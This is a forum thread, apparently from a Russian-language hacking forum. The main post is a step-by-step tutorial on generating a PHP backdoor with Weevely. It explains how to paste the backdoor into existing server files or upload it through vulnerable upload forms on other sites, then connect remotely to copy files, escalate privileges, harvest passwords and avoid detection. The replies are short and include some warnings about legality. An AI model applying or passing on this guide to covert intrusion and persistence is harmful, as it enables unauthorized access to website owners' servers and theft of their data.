Вставка бэкдора на PHP вебсайтах с Weevely

Gidroponika

Exploit Developer
Joined
Aug 17, 2016
Messages
1,784
Reaction score
826
Очень удобно оставлять после себя бэкдоры, если вы однажды уже смогли найти путь на сервер, и они смогут пригодиться в большом количестве случаев. Они хороши для разработчиков, которые хотят иметь быстрый доступ к машинам, на которых они работают, или для системных администраторов, которым нужен такой же доступ. Также, безусловно, бэкдоры являются лучшими друзьями хакеров и могут быть добавлены множеством способов. Одним хорошим инструментом для этого является Weevely, который использует отрезок PHP кода.

Weevely создает терминал на целевой машине и позволяет действовать удаленному коду через небольшой след PHP агента. Он включает в себя более 30 модулей для административных и технических нужд, а также разрешение расширения и даже сетевое радиальное смещение. Подумайте о тех аккаунтах, что вы используете, которые блокируют ваш доступ – здесь это может пригодиться, также как и на других серверах, на которые вам удалось просочиться.

В данном руководстве, мы будем брать это за основу на нашем локальном хосте. Вы можете следовать этому, или запустить его на другом сервере, где вы сможете сделать с ним намного больше.



Step 1 Скачиваем Weevely
Weevely может быть встроен в некоторые версии Linux, например, Kali. Если он не установлен на вашей системе Linux, вы можете найти 3 версию на Epinna's GitHub page. Чтобы установить его на стандартный Linux distro, есть множество способов сделать это, включая Git, HTTP, и wget.

Code:
wget https://github.com/epinna/weevely3/archive/master.zip

Step 2 Создание фрагмента PHP
Не имеет значение, как вы установили Weevely, убедитесь, что у вас есть терминал или окно оболочки, открытое в директории содержащей файл master.zip. Предположим, что вы скачали его в папку Downloads, перейдем в нее, распакуем файлы, перейдите в папку с распакованными файлами и просмотрите ее содержимое.

Code:
cd Downloads
unzip master.zip
cd weevely3-master/
ls
Вам нужно запустить установочный файл weevely.py отдельно для того, чтобы понять то, о чем мы говорим здесь, потому что скрипт требует особого синтаксиса, и вы можете узнать о нем здесь.
Code:
./weevely.py


3fe58005f134a9d83f37a.png

В нашем примере, мы будем использовать опцию "Generate backdoor agent". Пусть наш пароль будет следующим pazzWurD, и назовем путь нашего PHP файла backdoor.php. Мы должны получить файл под названием backdoor.php в той же директории, где мы работаем.

Обратите внимание, что backdoor.php не является хорошим именем для вашего PHP файла. Это всего лишь пример. Вы не хотите привлекать много внимания к тому, что вы делаете, поэтому убедитесь, что вы заменили название файлов "mypassword" и "myfilename.php" на что-то менее очевидное.

Code:
./weevely.py generate mypassword myfilename.php

7320f1b8b5d2ac9f24c22.png

Step 3 Вставка вашего Backdoor
Теперь, вооружившись новым PHP скриптом (в нашем случае это backdoor.php), мы можем рассмотреть несколько способов его применения. Сначала, если у вас есть доступ к серверу вы можете просто скопировать/вставить содержимое вашего PHP файла в другой доступный PHP файл на сервере. Например, в config.php или settings.php файлы, которые вы можете там найти. Сначала, я скопирую содержимое моего backdoor.php скрипта в текстовом редакторе.

788dbc53c3d1e21f4517b.png

Затем, я вставлю целый блок кода PHP внизу всего остального PHP кода в файле запущенном на моем сервере. Здесь, я вставляю его внизу всего в файле info.php на моем сервере. Мне пришлось использовать Vi редактор на моем сервере.

83c3f8f1ecc1e5330bc0c.png

Мой info.php продолжает работать в обычном режиме, но скрипт, указанный ниже, продолжает оставаться неизменным до обращения к нему

Другая вещь, которую вам следует попробовать, это найти уязвимый сайт с возможностью загрузки на него информации – свойство, которое позволяет вам делиться файлами или изображениями. Сделайте это, получить ссылку на ваш файл и вы в деле.

94e00d3cfa3f3c44a2f50.png

Большинство сайтов, как этот, будет блокировать загрузку скриптов, но не каждый сайт является совершенным.

Как бы вы это ни сделали, вы хотите поместить ваш backdoor.php файл — или содержимое вашего PHP файла — в другой PHP файл, на каком-то локальном или удаленном сервере.



Step 4 Доступ к вашему бэкдору
Первое, что вы можете заметить в Weevely это то, что ваш backdoor.php файл, запущенный в веб-директории или в конце другого PHP файла, ничего не делает и не показывает в вашем браузере. И это хорошо! Если бы ваш файл отображался на сайте, он был бы сразу замечен и подправлен, или даже использован кем-либо еще, а нам этого совсем не нужно.

7750cbba65f5db77c656b.png

Что нам нужно, так это снова открыть файл weevely.py на нашей системе, только в этот раз мы не будем создавать файл с ним – мы используем его, чтобы указать место, куда мы посетим созданный ранее скрипт. На моем локальном хосте с моими файлами, это выглядит так:

Code:
./weevely.py http://localhost/info.php pazzWurD
Если Вы не тестируете это с локального хоста, это выглядит чем-то подобным:
Code:
./weevely.py http://some.websitename.com/myfilename.php mypassword

Так или иначе, используйте Weevely, чтобы вызвать ваш файл, и вы увидите следующий ответ:

7597ea87073a69de5fceb.png

Просто напечатайте: help, и это покажет вам все, что вы можете делать из этой позиции.

В Weevely встроены дополнительные 30 модулей, так что существует множество моментов для работы. Например, file_ls делает точно то, что вы подумали, а file_cp может позволить вам скопировать файл, как только вы разработаете пути от и до, как на локальной системе. Вы сможете получить все сразу при помощи file_tar, затем используйте cp, чтобы получить много материалов для чтения.

Есть несколько путей увеличить ваши права в Weevely, так что если у вас есть расширенные права на сервере, вы можете делать практически все с ним. Вы сможете получить несколько ключей на вашей целевой системе с audit_password. Не забывайте оставаться внизу здесь, чтобы сохранить ваше время и силы, если вы не можете разобраться с вашей собственной системой, и чтобы остаться незамеченным в чужой системе.

Устранение проблем
Возникали ли у вас ошибки во время выполнения этих упражнений? Я работал на новой системе, так что пока я распаковывал директорию master.zip, и смотрел файлы, которые она содержит, я не мог получить Weevely's Python скрипт, для корректного запуска. Если у вас подобная ситуация и вы видите следующее:

Code:
ImportError: No module named prettytable
Сделайте что-то вроде следующего, замещая имя модуля, того чего не хватает:

Code:
$ sudo apt install python-prettytable
 

Vadala

New member
Joined
Jan 25, 2010
Messages
2
Reaction score
0
I'm not familiar with Weevely, could someone explain what it is? From what I gather, it's some kind of web vulnerability scanner/tool. Anyone successfully used it to detect backdoors on PHP sites?
 

Насіка

Member
Joined
Nov 26, 2013
Messages
5
Reaction score
0
"Hey, I think you guys are getting a bit too into the dark side of things. Weevely can be a powerful tool, but let's keep things in the realm of bug hunting and not actual exploitation, right? Can we talk more about responsible disclosure?"
 

ZmiY-s

Member
Joined
Apr 17, 2005
Messages
40
Reaction score
18
I don't think I'd be comfortable posting a response on a thread discussing backdoors on PHP websites. This kinda stuff can get you into some sticky situations with the authorities. Has anyone considered the legality of this?
 

Ebookeen

New member
Joined
Dec 17, 2008
Messages
3
Reaction score
0
"Dude, I think we've had this convo before - Weevely's pretty old-school and not as stealthy as some other tools. You'll want to consider using something like Burp Suite or ZAP for web app testing. Has anyone had any luck with Weevely recently?"
 
Top